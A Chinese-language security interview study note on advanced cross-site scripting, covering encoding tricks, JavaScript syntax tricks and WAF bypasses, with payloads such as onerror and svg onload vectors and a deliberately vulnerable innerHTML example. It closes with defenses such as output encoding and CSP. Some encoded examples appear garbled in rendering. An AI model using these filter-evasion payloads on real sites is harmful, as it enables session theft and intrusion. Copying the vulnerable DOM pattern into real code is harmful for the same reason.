跨站脚本攻击(XSS)的进阶利用与防御绕过技术详解
字数 1697 2025-11-07 12:34:03
跨站脚本攻击(XSS)的进阶利用与防御绕过技术详解
1. 题目描述
跨站脚本攻击(XSS)的进阶利用与防御绕过技术是网络安全面试中的高频考点。面试官会考察候选人对XSS攻击的深入理解,包括如何绕过常见的防御措施(如输入过滤、输出编码、WAF规则等),以及如何利用高级技巧(如DOM型XSS的链式利用、基于JavaScript特性的攻击)实现更隐蔽的攻击。
2. XSS攻击基础回顾
XSS攻击的核心是恶意脚本在受害者浏览器中执行,分为三类:
- 反射型XSS:恶意脚本通过URL参数注入,服务端未过滤直接返回给浏览器。
- 存储型XSS:恶意脚本被存储到服务端(如数据库),其他用户访问时触发。
- DOM型XSS:客户端JavaScript直接操作DOM时未校验数据,导致脚本执行。
3. 进阶利用技术
3.1 基于编码的绕过
场景:服务端对输入中的<script>标签或onclick事件进行过滤。
绕过方法:
-
多重编码:
- 原始payload:
<img src=x onerror=alert(1)> - URL编码:
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E - 若服务端解码多次,可尝试双重编码:
%253Cimg%2520src%253Dx...(%25是%的编码)。
- 原始payload:
-
HTML实体编码绕过:
- 若服务端仅过滤特定字符(如
<、>),但未处理实体编码:
若输出时未解码,可尝试混合编码:<img src=x onerror=alert(1)><img src=x onerror=alert(1)>(a是字母a的实体编码)。
- 若服务端仅过滤特定字符(如
3.2 利用JavaScript语法特性
场景:过滤了alert、eval等关键词。
绕过技巧:
-
字符串拼接:
// 原始payload被拦截:alert(1) // 改为拼接: window["al"+"ert"](1) eval("al"+"ert(1)") -
利用Unicode或十六进制编码:
// Unicode编码 \u0061\u006c\u0065\u0072\u0074(1) // 十六进制 eval("\x61\x6c\x65\x72\x74\x28\x31\x29") -
使用反引号(模板字符串)执行命令:
// 某些过滤器可能忽略反引号 alert`1` // 等价于alert(1)
3.3 DOM型XSS的链式利用
场景:页面通过location.hash、document.referrer等获取数据并动态插入DOM。
示例:
<!-- 页面代码 -->
<script>
var data = decodeURIComponent(location.hash.slice(1));
document.getElementById("output").innerHTML = data;
</script>
攻击链:
- 构造URL:
http://victim.com/#<img src=x onerror=alert(1)> - 受害者访问时,
location.hash获取#后的内容,直接插入DOM,触发XSS。 - 绕过技巧:若过滤了
onerror,可改用<svg onload=alert(1)>或<iframe src="javascript:alert(1)">。
4. 防御绕过实战:对抗WAF
4.1 混淆HTTP请求
方法:
- 更改请求方法:将GET请求改为POST,可能绕过WAF的检测规则。
- 拆分参数:将
<script>拆分成多个参数,如:
若服务端合并参数后未重新检测,可触发XSS。GET /search?param1=<¶m2=script>alert(1)</script>
4.2 利用浏览器解析差异
案例:
- 换行符绕过:某些WAF可能忽略换行符:
<img src=x onerror=alert(1)> - 标签属性混淆:
<img src="x:1" onerror="alert(1)" <!-- 或使用无效属性 --> <img src=x onerror=alert(1)>
5. 综合防御策略
5.1 严格输入验证
- 白名单机制:仅允许预期的字符类型(如数字、字母)。
- 长度限制:防止过长的payload绕过过滤。
5.2 输出编码
- 上下文相关编码:
- HTML上下文:使用
HtmlEncode(将<转为<)。 - JavaScript上下文:使用
JavaScriptEncode(将"转为\x22)。 - URL上下文:使用
URLEncode。
- HTML上下文:使用
5.3 内容安全策略(CSP)
- 通过HTTP头
Content-Security-Policy限制脚本来源:Content-Security-Policy: default-src 'self'; script-src 'none' - 禁止内联脚本(如
onclick)和eval函数。
5.4 其他措施
- Cookie的HttpOnly属性:防止通过XSS窃取Cookie。
- WAF规则更新:定期分析绕过案例,更新检测规则。
6. 总结
XSS进阶利用的核心在于灵活运用编码、语法特性和浏览器解析机制,而防御需要通过多层次策略(输入验证、输出编码、CSP等)形成纵深防护。面试中需展示对攻击链的完整理解,并强调防御的针对性而非单一依赖过滤。